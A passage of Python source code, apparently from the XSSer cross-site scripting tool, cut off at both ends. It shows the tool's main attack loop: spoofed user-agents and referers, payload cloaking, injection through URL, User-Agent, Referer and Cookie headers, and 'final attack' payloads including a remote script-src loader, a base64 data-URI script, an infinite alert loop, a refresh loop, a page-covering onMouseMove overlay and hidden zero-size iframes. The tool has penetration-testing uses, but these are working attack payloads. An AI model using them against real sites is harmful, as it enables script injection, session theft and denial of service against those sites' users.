  2731. self.options.fuzz = False
  2732. self.options.script = False
  2733. self.options.coo = False
  2734. self.options.xsa = False
  2735. self.options.xsr = False
  2736. self.options.dcp = False
  2737. self.options.dom = False
  2738. self.options.inducedcode = False
  2739. self.options.heuristic = False
  2740. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2741. self.options.fuzz = False
  2742. self.options.script = False
  2743. self.options.coo = False
  2744. self.options.xsa = False
  2745. self.options.xsr = False
  2746. self.options.dcp = False
  2747. self.options.dom = False
  2748. self.options.inducedcode = False
  2749. self.options.hash = False
  2750. if self.options.Cem: # parse input at CEM for blank spaces
  2751. self.options.Cem = self.options.Cem.replace(" ","")
  2752. else:
  2753. pass
  2754. try:
  2755. if self.options.imx: # create -fake- image with code injected
  2756. p = self.optionParser
  2757. self.report('='*75)
  2758. self.report(str(p.version))
  2759. self.report('='*75)
  2760. self.report("[Image XSS Builder]...")
  2761. self.report('='*75)
  2762. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2763. self.report('='*75 + "\n")
  2764. except:
  2765. return
  2766. if options.flash: # create -fake- flash movie (.swf) with code injected
  2767. p = self.optionParser
  2768. self.report('='*75)
  2769. self.report(str(p.version))
  2770. self.report('='*75)
  2771. self.report("[Flash Attack! XSS Builder]...")
  2772. self.report('='*75)
  2773. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2774. self.report('='*75 + "\n")
  2775. if options.xsser_gtk:
  2776. self.create_gtk_interface()
  2777. return
  2778. if self.options.wizard: # start a wizard helper
  2779. p = self.optionParser
  2780. self.report('='*75)
  2781. self.report(str(p.version))
  2782. self.report('='*75)
  2783. self.report("[Wizard] Generating XSS attack...")
  2784. self.report('='*75)
  2785. self.user_template = self.start_wizard()
  2786. if self.options.xst: # check for cross site tracing
  2787. p = self.optionParser
  2788. if not self.options.target:
  2789. self.report('='*75)
  2790. self.report(str(p.version))
  2791. self.report('='*75)
  2792. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  2793. self.report('='*75)
  2794. self.check_trace()
  2795. if self.options.reversecheck or self.options.dom: # generate headless embed web browser
  2796. self.driver = self.create_headless_embed_browser()
  2797. if options.checktor:
  2798. url = self.check_tor_url # TOR status checking site
  2799. print('='*75)
  2800. print("")
  2801. print(" _ ")
  2802. print(" /_/_ .'''. ")
  2803. print(" =O(_)))) ...' `. ")
  2804. print(" \_\ `. .'''")
  2805. print(" `..' ")
  2806. print("")
  2807. print('='*75)
  2808. agents = [] # user-agents
  2809. try:
  2810. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2811. except:
  2812. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2813. for line in f:
  2814. agents.append(line)
  2815. agent = random.choice(agents).strip() # set random user-agent
  2816. referer = "127.0.0.1"
  2817. print("\n[Info] Sending request to: " + url + "\n")
  2818. print("-"*25+"\n")
  2819. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2820. try:
  2821. req = urllib.request.Request(url, None, headers)
  2822. tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
  2823. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2824. if not tor_reply or 'Congratulations' not in tor_reply:
  2825. print("It seems that Tor is not properly set.\n")
  2826. print("IP address appears to be: " + your_ip + "\n")
  2827. else:
  2828. print("Congratulations!. Tor is properly being used :-)\n")
  2829. print("IP address appears to be: " + your_ip + "\n")
  2830. except:
  2831. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2832. sys.exit(2) # return
  2833. # step 0: get workers
  2834. nthreads = max(1, abs(options.threads))
  2835. nworkers = len(self.pool.workers)
  2836. if nthreads != nworkers:
  2837. if nthreads < nworkers:
  2838. self.pool.dismissWorkers(nworkers-nthreads)
  2839. else:
  2840. self.pool.createWorkers(nthreads-nworkers)
  2841. for reporter in self._reporters:
  2842. reporter.report_state('scanning')
  2843. # step 1: get urls
  2844. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
  2845. for reporter in self._reporters:
  2846. reporter.report_state('arming')
  2847. # step 2: get payloads
  2848. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
  2849. for reporter in self._reporters:
  2850. reporter.report_state('cloaking')
  2851. if options.Dwo:
  2852. payloads = self.process_payloads_ipfuzzing(payloads)
  2853. elif options.Doo:
  2854. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2855. for reporter in self._reporters:
  2856. reporter.report_state('locking targets')
  2857. # step 3: get query string
  2858. query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
  2859. for reporter in self._reporters:
  2860. reporter.report_state('sanitize')
  2861. urls = self.sanitize_urls(urls)
  2862. for reporter in self._reporters:
  2863. reporter.report_state('attack')
  2864. # step 4: perform attack
  2865. self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
  2866. for reporter in self._reporters:
  2867. reporter.report_state('reporting')
  2868. if len(self.final_attacks):
  2869. self.report("[Info] Waiting for tokens to arrive...")
  2870. while self._ongoing_requests and not self._landing:
  2871. if not self.pool:
  2872. self.mothership.poll_workers()
  2873. else:
  2874. self.poll_workers()
  2875. time.sleep(0.2)
  2876. for reporter in self._reporters:
  2877. reporter.report_state('final sweep...')
  2878. if self.pool:
  2879. self.pool.dismissWorkers(len(self.pool.workers))
  2880. self.pool.joinAllDismissedWorkers()
  2881. start = time.time()
  2882. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2883. time.sleep(0.2)
  2884. for reporter in self._reporters:
  2885. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2886. if self.final_attacks and self.options.reversecheck: # try a --reverse-check
  2887. final_attack_payloads = []
  2888. self.report("="*45)
  2889. self.report("[*] Reverse Check(s) Results:")
  2890. self.report("="*45 + "\n")
  2891. for final_attack in self.final_attacks.values():
  2892. if final_attack not in final_attack_payloads:
  2893. final_attack_payloads.append(final_attack)
  2894. for final in final_attack_payloads:
  2895. if self.hash_found:
  2896. for l in self.hash_found:
  2897. hashing = l[3]
  2898. for k, v in final.items():
  2899. if 'success/'+hashing in v: # find XSS "remote poison" payload!
  2900. if not self.options.postdata: # GET
  2901. self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
  2902. else: # POST
  2903. self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
  2904. if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
  2905. v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
  2906. if "<script>document.location=document.location.hash.substring(1)</script>" in v:
  2907. v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  2908. self.report(v , "\n")
  2909. self.report("-"*25+"\n")
  2910. self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
  2911. if self.token_arrived_flag == True and self.token_arrived_hash:
  2912. self.report("[Info] Validating HASHES:\n")
  2913. if self.success_arrived_flag == False:
  2914. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
  2915. else:
  2916. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
  2917. self.report("-"*25+"\n")
  2918. if self.options.postdata: # POST
  2919. self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
  2920. else: # GET
  2921. self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
  2922. self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
  2923. else:
  2924. self.report("[Error] Remote XSS exploit [--reverse-check] has FAILED! -> [PASSING!]\n")
  2925. self.report("-"*25+"\n")
  2926. if self.options.reversecheck or self.options.dom:
  2927. try:
  2928. self.driver.close() # end headless embed web browser driver!
  2929. except:
  2930. try:
  2931. self.driver.quit() # try quit()
  2932. except:
  2933. pass
  2934. for reporter in self._reporters:
  2935. reporter.end_attack() # end reports
  2936. if self.mothership:
  2937. self.mothership.remove_reporter(self) # end mothership
  2938. if self.hub:
  2939. self.land() # end token hub server
  2940. self.print_results()
  2941. def sanitize_urls(self, urls):
  2942. all_urls = set()
  2943. if urls is not None:
  2944. for url in urls:
  2945. if url.startswith("http://") or url.startswith("https://"):
  2946. self.urlspoll.append(url)
  2947. all_urls.add(url)
  2948. else:
  2949. if self.options.crawling:
  2950. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2951. else:
  2952. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2953. url = None
  2954. else:
  2955. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2956. return all_urls
  2957. def land(self, join=False):
  2958. self._landing = True
  2959. if self.hub:
  2960. self.hub.shutdown()
  2961. if join:
  2962. self.hub.join()
  2963. self.hub = None
  2964. def _prepare_extra_attacks(self, payload):
  2965. """
  2966. Setup extra attacks.
  2967. """
  2968. options = self.options
  2969. agents = [] # user-agents
  2970. try:
  2971. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2972. except:
  2973. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2974. for line in f:
  2975. agents.append(line)
  2976. extra_agent = random.choice(agents).strip() # set random user-agent
  2977. extra_referer = "127.0.0.1"
  2978. extra_cookie = None
  2979. if self.options.script:
  2980. if 'XSS' in payload['payload']:
  2981. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2982. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2983. if options.xsa:
  2984. hashing = self.generate_hash('xsa')
  2985. agent = payload['payload'].replace('PAYLOAD', hashing)
  2986. self._ongoing_attacks['xsa'] = hashing
  2987. self.xsa_injection = self.xsa_injection + 1
  2988. self.options.agent = agent
  2989. extra_agent = agent
  2990. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  2991. if options.xsr:
  2992. hashing = self.generate_hash('xsr')
  2993. referer = payload['payload'].replace('PAYLOAD', hashing)
  2994. self._ongoing_attacks['xsr'] = hashing
  2995. self.xsr_injection = self.xsr_injection + 1
  2996. self.options.referer = referer
  2997. extra_referer = referer
  2998. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  2999. if options.coo:
  3000. hashing = self.generate_hash('cookie')
  3001. cookie = payload['payload'].replace('PAYLOAD', hashing)
  3002. self._ongoing_attacks['coo'] = hashing
  3003. self.coo_injection = self.coo_injection + 1
  3004. self.options.cookie = cookie
  3005. extra_cookie = cookie
  3006. return extra_agent, extra_referer, extra_cookie
  3007. def attack(self, urls, payloads, query_string):
  3008. """
  3009. Perform an attack on the given urls with the provided payloads and
  3010. query_string.
  3011. """
  3012. for url in urls:
  3013. if self.pool:
  3014. self.poll_workers()
  3015. else:
  3016. self.mothership.poll_workers()
  3017. if not self._landing:
  3018. self.attack_url(url, payloads, query_string)
  3019. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3020. """
  3021. Generate a real attack url using data from a successful test.
  3022. This method also applies DOM stealth mechanisms.
  3023. """
  3024. user_attack_payload = payload['payload']
  3025. if self.options.finalpayload:
  3026. user_attack_payload = self.options.finalpayload
  3027. elif self.options.finalremote:
  3028. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  3029. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  3030. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  3031. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  3032. user_attack_payload = self.options.finalpayload
  3033. if self.options.dos:
  3034. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  3035. if self.options.doss:
  3036. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  3037. if self.options.b64:
  3038. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  3039. if self.options.onm:
  3040. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  3041. if self.options.ifr:
  3042. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  3043. do_anchor_payload = self.options.anchor
  3044. anchor_data = None
  3045. attack_hash = None
  3046. if do_anchor_payload: # DOM Shadows!
  3047. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3048. dest_url = dest_url.replace('?', '#')
  3049. else:
  3050. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3051. if attack_hash:
  3052. self.final_attacks[attack_hash] = {'url':dest_url}
  3053. return dest_url
  3054. def token_arrived(self, attack_hash):
  3055. if not self.mothership: # only mothership calls on token arrival
  3056. self.final_attack_callback(attack_hash)
  3057. def final_attack_callback(self, attack_hash):
  3058. if attack_hash in self.final_attacks:
  3059. dest_url = self.final_attacks[attack_hash]['url']
  3060. for reporter in self._reporters:
  3061. reporter.add_checked(dest_url)
  3062. if self._reporter:
  3063. from twisted.internet import reactor
  3064. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  3065. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3066. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  3067. return real_attack_url
  3068. def report(self, *args):
  3069. args = list([str(s) for s in args])
  3070. formatted = " ".join(args)
  3071. if not self.options.silent:
  3072. print(formatted)
  3073. for reporter in self._reporters:
  3074. reporter.post(formatted)
  3075. def print_results(self):
  3076. """
  3077. Print results from attack.
  3078. """
  3079. self.report('='*75)
  3080. total_injections = len(self.hash_found) + len(self.hash_notfound)
  3081. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3082. pass
  3083. elif self.options.heuristic:
  3084. pass
  3085. else:
  3086. self.report("[*] Final Results:")
  3087. self.report('='*75 + '\n')
  3088. self.report("- Injections:", total_injections)
  3089. self.report("- Failed:", len(self.hash_notfound))
  3090. self.report("- Successful:", len(self.hash_found))
  3091. try:
  3092. _accur = len(self.hash_found) * 100 / total_injections
  3093. except ZeroDivisionError:
  3094. _accur = 0
  3095. self.report("- Accur: %s %%\n" % _accur)
  3096. if not len(self.hash_found) and self.hash_notfound:
  3097. self.report('='*75 + '\n')
  3098. pass
  3099. else:
  3100. self.report('='*75)
  3101. self.report("[*] List of XSS injections:")
  3102. self.report('='*75 + '\n')
  3103. if len(self.hash_found) > 1:
  3104. if len(self.token_arrived_hashes) > 0:
  3105. if len(self.hash_found) == len(self.token_arrived_hashes):
  3106. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
  3107. else:
  3108. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3109. else:
  3110. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3111. else:
  3112. if len(self.token_arrived_hashes) > 0:
  3113. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
  3114. else:
  3115. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
  3116. self.report("---------------------" + "\n")
  3117. if self.options.fileoutput:
  3118. fout = open("XSSreport.raw", "w") # write better than append
  3119. for line in self.hash_found:
  3120. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  3121. pass
  3122. else:
  3123. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  3124. if line[2] == "XSR":
  3125. self.xsr_found = self.xsr_found + 1
  3126. if len(self.hash_found) < 11:
  3127. if line[4]: # when query string
  3128. self.report("[+] Target:", line[6] + " | " + line[4])
  3129. else:
  3130. self.report("[+] Target:", line[6])
  3131. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3132. self.report("[!] Method: Referer Injection")
  3133. self.report("[*] Hash:", line[3])
  3134. self.report("[*] Payload:", str(Curl.referer))
  3135. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3136. if self.options.fileoutput:
  3137. fout.write("="*75)
  3138. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3139. fout.write("="*75 + "\n\n")
  3140. for h in self.hash_found:
  3141. if h[2] == "XSR":
  3142. if h[4]:
  3143. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3144. else:
  3145. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3146. fout.write("="*75 + "\n\n")
  3147. elif line[2] == "XSA":
  3148. self.xsa_found = self.xsa_found + 1
  3149. if len(self.hash_found) < 11:
  3150. if line[4]: # when query string
  3151. self.report("[+] Target:", line[6] + " | " + line[4])
  3152. else:
  3153. self.report("[+] Target:", line[6])
  3154. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3155. self.report("[!] Method: User-Agent Injection")
  3156. self.report("[*] Hash:", line[3])
  3157. self.report("[*] Payload:", str(Curl.agent))
  3158. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3159. if self.options.fileoutput:
  3160. fout.write("="*75)
  3161. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3162. fout.write("="*75 + "\n\n")
  3163. for h in self.hash_found:
  3164. if h[2] == "XSA":
  3165. if h[4]:
  3166. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3167. else:
  3168. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3169. fout.write("="*75 + "\n\n")
  3170. elif line[2] == "COO":
  3171. self.coo_found = self.coo_found + 1
  3172. if len(self.hash_found) < 11:
  3173. if line[4]: # when query string
  3174. self.report("[+] Target:", line[6] + " | " + line[4])
  3175. else:
  3176. self.report("[+] Target:", line[6])
  3177. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3178. self.report("[!] Method: Cookie Injection")
  3179. self.report("[*] Hash:", line[3])
  3180. self.report("[*] Payload:", str(Curl.cookie))
  3181. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3182. if self.options.fileoutput:
  3183. fout.write("="*75)
  3184. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3185. fout.write("="*75 + "\n\n")
  3186. for h in self.hash_found:
  3187. if h[2] == "COO":
  3188. if h[4]:
  3189. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3190. else:
  3191. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3192. fout.write("="*75 + "\n\n")
  3193. elif line[1] == "[Data Control Protocol Injection]":
  3194. self.dcp_found = self.dcp_found + 1
  3195. if len(self.hash_found) < 11:
  3196. if line[4]: # when query string
  3197. self.report("[+] Target:", line[6] + " | " + line[4])
  3198. else:
  3199. self.report("[+] Target:", line[6])
  3200. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3201. self.report("[!] Method: DCP")
  3202. self.report("[*] Hash:", line[3])
  3203. self.report("[*] Payload:", line[0])
  3204. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  3205. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3206. self.report("[*] Final Attack:", attack_url)
  3207. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3208. if self.options.fileoutput:
  3209. fout.write("="*75)
  3210. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3211. fout.write("="*75 + "\n\n")
  3212. for h in self.hash_found:
  3213. if h[4]:
  3214. if h[1] == "[Data Control Protocol Injection]":
  3215. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3216. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3217. else:
  3218. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3219. else:
  3220. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3221. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3222. else:
  3223. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3224. fout.write("="*75 + "\n\n")
  3225. elif line[1] == "[Document Object Model Injection]":
  3226. self.dom_found = self.dom_found + 1
  3227. if len(self.hash_found) < 11:
  3228. if line[4]: # when query string
  3229. self.report("[+] Target:", line[6] + " | " + line[4])
  3230. else:
  3231. self.report("[+] Target:", line[6])
  3232. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3233. self.report("[!] Method: DOM")
  3234. self.report("[*] Hash:", line[3])
  3235. self.report("[*] Payload:", line[0])
  3236. self.report("[!] Vulnerable: DOM (Document Object Model)")
  3237. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3238. self.report("[*] Final Attack:", attack_url)
  3239. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3240. if self.options.fileoutput:
  3241. fout.write("="*75)
  3242. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3243. fout.write("="*75 + "\n\n")
  3244. for h in self.hash_found:
  3245. if h[1] == "[Document Object Model Injection]":
  3246. if h[4]:
  3247. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3248. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3249. else:
  3250. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3251. else:
  3252. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3253. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3254. else:
  3255. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3256. fout.write("="*75 + "\n\n")
  3257. elif line[1] == "[Induced Injection]":
  3258. self.httpsr_found = self.httpsr_found +1
  3259. if len(self.hash_found) < 11:
  3260. if line[4]: # when query string
  3261. self.report("[+] Target:", line[6] + " | " + line[4])
  3262. else:
  3263. self.report("[+] Target:", line[6])
  3264. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3265. self.report("[!] Method: INDUCED")
  3266. self.report("[*] Hash:", line[3])
  3267. self.report("[*] Payload:", line[0])
  3268. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  3269. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3270. self.report("[*] Final Attack:", attack_url)
  3271. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3272. if self.options.fileoutput:
  3273. fout.write("="*75)
  3274. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3275. fout.write("="*75 + "\n\n")
  3276. for h in self.hash_found:
  3277. if h[4]:
  3278. if h[1] == "[Induced Injection]":
  3279. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3280. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3281. else:
  3282. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3283. else:
  3284. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3285. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3286. else:
  3287. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3288. fout.write("="*75 + "\n\n")
  3289. elif line[1] == "[hashing check]":
  3290. if len(self.hash_found) < 11:
  3291. if line[4]:
  3292. self.report("[+] Target:", line[6] + " | " + line[4])
  3293. else:
  3294. self.report("[+] Target:", line[6])
  3295. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3296. self.report("[!] Method:", line[2])
  3297. self.report("[*] Payload:", line[5])
  3298. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3299. if self.options.fileoutput:
  3300. fout.write("="*75)
  3301. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3302. fout.write("="*75 + "\n\n")
  3303. for h in self.hash_found:
  3304. if h[1] == "[hashing check]":
  3305. if h[4]:
